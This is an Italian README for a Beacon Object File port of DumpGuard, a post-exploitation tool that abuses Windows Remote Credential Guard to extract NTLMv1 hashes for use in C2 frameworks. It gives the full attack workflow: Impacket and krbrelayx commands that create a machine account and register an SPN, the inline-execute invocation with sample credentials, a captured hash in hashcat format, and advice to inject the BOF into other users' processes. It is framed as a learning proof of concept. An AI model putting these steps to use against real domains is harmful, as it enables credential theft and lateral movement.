
Porting di DumpGuard come Beacon Object File (BOF) per l'estrazione degli hash NTLMv1 dalle sessioni sui moderni sistemi Windows.
Porting Beacon Object File (BOF) di DumpGuard per l'estrazione di hash NTLMv1 dalle sessioni su sistemi Windows moderni.

Questo repository contiene un'implementazione Beacon Object File (BOF) di DumpGuard, trasferita dall'implementazione originale C#/.NET in C puro per l'uso con Havoc e altri framework C2 che supportano l'esecuzione di BOF.
Questa è una Proof of Concept (PoC) e un esercizio di apprendimento.
Questo porting BOF è stato creato come parte del mio percorso personale per comprendere i dettagli del protocollo Remote Credential Guard, i flussi di autenticazione Kerberos e i meccanismi di sicurezza Windows sottostanti. Il processo di porting di questo strumento da C# a C puro per l'esecuzione come BOF è stato principalmente un'attività educativa.
Tieni presente che:
Se trovi problemi o hai miglioramenti, i contributi sono i benvenuti. Per un'implementazione robusta e ben testata, fai riferimento allo strumento DumpGuard originale.
Questo BOF si basa sulla ricerca e sugli strumenti di @bytewreck presso SpecterOps:
DumpGuard sfrutta Windows Remote Credential Guard (RCG) per estrarre hash NTLMv1 degli utenti con sessione attiva senza toccare la memoria di LSASS e senza richiedere privilegi di amministratore. Funziona anche quando Credential Guard è abilitato.
TSRemoteGuardCreds.Dopo il Round 4, abbiamo il blob di credenziali crittografato. La magia avviene quando chiamiamo LsaCallAuthenticationPackage con il pacchetto TSSSP. LSA instrada la nostra richiesta attraverso RDPEAR -> TSRemoteGuard -> MSV1_0, che decripta i segreti e calcola per noi la risposta NTLMv1.
Credential Guard isola i segreti NTLM e Kerberos in uno spazio VBS sicuro (LsaIso.exe), prevenendo attacchi di accesso diretto alla memoria come Mimikatz. Tuttavia, Credential Guard deve comunque usare quei segreti per l'autenticazione legittima. È questa l'interfaccia che questa tecnica sfrutta.
Per un'analisi tecnica approfondita, vedi: Catching Credential Guard Off Guard
Questo porting BOF implementa solo la modalità "Self" dello strumento DumpGuard originale. Le modalità "All" non sono implementate in questa versione.
Estrae l'hash NTLMv1 dell'utente del processo corrente tramite il protocollo Remote Credential Guard.
Sebbene questo BOF implementi solo la modalità "self", puoi comunque estrarre gli hash NTLMv1 di altri utenti, ad esempio iniettandolo in un processo che gira come quell'utente. Per esempio, se hai privilegi di amministratore, puoi iniettare il BOF in un processo di proprietà di un altro utente con sessione attiva per ottenere il suo hash.
Questa tecnica richiede le credenziali di un account con un Service Principal Name (SPN) registrato. Un modo per ottenere questo è creare un account macchina e aggiungervi un SPN.
Usando Impacket:
python3 addcomputer.py -computer-name 'YOURCOMPUTER$' domain.local/user:password -dc-ip <DC_IP>
Esempio di output:
[*] Successfully added machine account YOURCOMPUTER$ with password <random_password>.
Usando addspn.py di krbrelayx:
python3 addspn.py -u domain.local\\YOURCOMPUTER\$ -p '<password>' -s host/yourspn.domain.local --target-type samname <DC_IP>
Usando pywerview:
python3 pywerview.py get-adobject -d domain.local -u YOURCOMPUTER\$ -p '<password>' -t <DC_IP> --sam-account-name YOURCOMPUTER\$
Cerca serviceprincipalname: host/yourspn.domain.local nell'output.
inline-execute /path/to/dumpguard.x64.o x <domain> <username> <password> <spn>
Nota: Il parametro
xè un argomento segnaposto/fittizio richiesto prima del dominio. Questo potrebbe essere risolto nelle versioni future (se ci saranno).
Esempio:
inline-execute /tmp/dumpguard.x64.o x sevenkingdoms.local EVIL_COMPUTER$ MXj070PQpCkNmZiYsRbIu8YYwgDKPD2r host/EVILSPN.sevenkingdoms.local
Esempio di output:
[DG] Domain: sevenkingdoms.local
[DG] User: EVIL_COMPUTER$
[DG] SPN: host/EVILSPN.sevenkingdoms.local
[DG] checkpoint 1: init APIs
[DG] SSPI init OK
[DG] checkpoint 2: acquire creds
[DG] checkpoint 3: starting SSPI loop
[DG] Round 1
[DG] AS-REQ: LTK derived, etype=18 len=32
[DG] AS-REQ: sending to KDC...
[DG] Round 2
[DG] Round 3
[DG] NTLMv1: SEVENKINGDOMS\EVIL_COMPUTER$::GOAD-WIN2025::6D270E39AD2DE48B561895C3257D7123FE84F1438B147E2A:1122334455667788
Importante: L'hash NTLMv1 estratto appartiene all'utente che esegue il processo BOF, non all'account macchina usato per l'autenticazione (
EVIL_COMPUTER$). Le credenziali dell'account macchina vengono usate solo per autenticarsi al KDC e stabilire la sessione Remote Credential Guard.
L'output è in formato NTLMv1 compatibile con hashcat:
DOMAIN\user::HOSTNAME::NTRESPONSE:CHALLENGE
make clean && make
Output: build/dumpguard.x64.o
BSD 3-Clause License
Lo strumento DumpGuard originale è concesso in licenza BSD 3-Clause, Copyright (c) 2025 Valdemar Carøe. Questo porting BOF mantiene gli stessi termini di licenza.
Per domande, segnalazioni di bug o contributi, apri una issue su GitHub.
| Round | Client -> Server | Server -> Client |
|---|
| 1 | SPNEGO + TGT-REQ | TGT-REPLY (dal KDC reale) |
| 2 | AP-REQ (ticket di servizio) | AP-REP + MIC |
| 3 | PubKeyAuth (hash di binding) | Hash di binding del server |
| 4 | AuthInfo (TSRemoteGuardCreds) | N/A |